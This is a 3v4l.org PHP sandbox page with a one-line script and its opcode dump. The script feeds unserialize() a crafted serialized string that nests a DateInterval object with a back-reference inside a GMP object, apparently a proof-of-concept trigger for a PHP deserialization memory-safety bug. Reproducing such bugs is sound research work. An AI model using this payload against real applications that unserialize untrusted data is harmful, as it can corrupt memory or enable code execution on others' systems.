3v4l.org

run code in 300+ PHP versions simultaneously
<?php $obj = new stdClass; $inner = 's:1:"1";a:1:{i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}'; var_dump(unserialize('a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/amIYp
function name:  (null)
number of ops:  16
compiled vars:  !0 = $obj, !1 = $inner
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   NEW                                              $2      'stdClass'
          1        DO_FCALL                                      0          
          2        ASSIGN                                                   !0, $2
    5     3        ASSIGN                                                   !1, 's%3A1%3A%221%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22DateInterval%22%3A1%3A%7Bs%3A1%3A%22y%22%3BR%3A2%3B%7D%7D'
    6     4        INIT_FCALL                                               'var_dump'
          5        INIT_FCALL                                               'unserialize'
          6        STRLEN                                           ~6      !1
          7        CONCAT                                           ~7      'a%3A1%3A%7Bi%3A0%3BC%3A3%3A%22GMP%22%3A', ~6
          8        CONCAT                                           ~8      ~7, '%3A%7B'
          9        CONCAT                                           ~9      ~8, !1
         10        CONCAT                                           ~10     ~9, '%7D%7D'
         11        SEND_VAL                                                 ~10
         12        DO_ICALL                                         $11     
         13        SEND_VAR                                                 $11
         14        DO_ICALL                                                 
         15      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
179.32 ms | 1394 KiB | 17 Q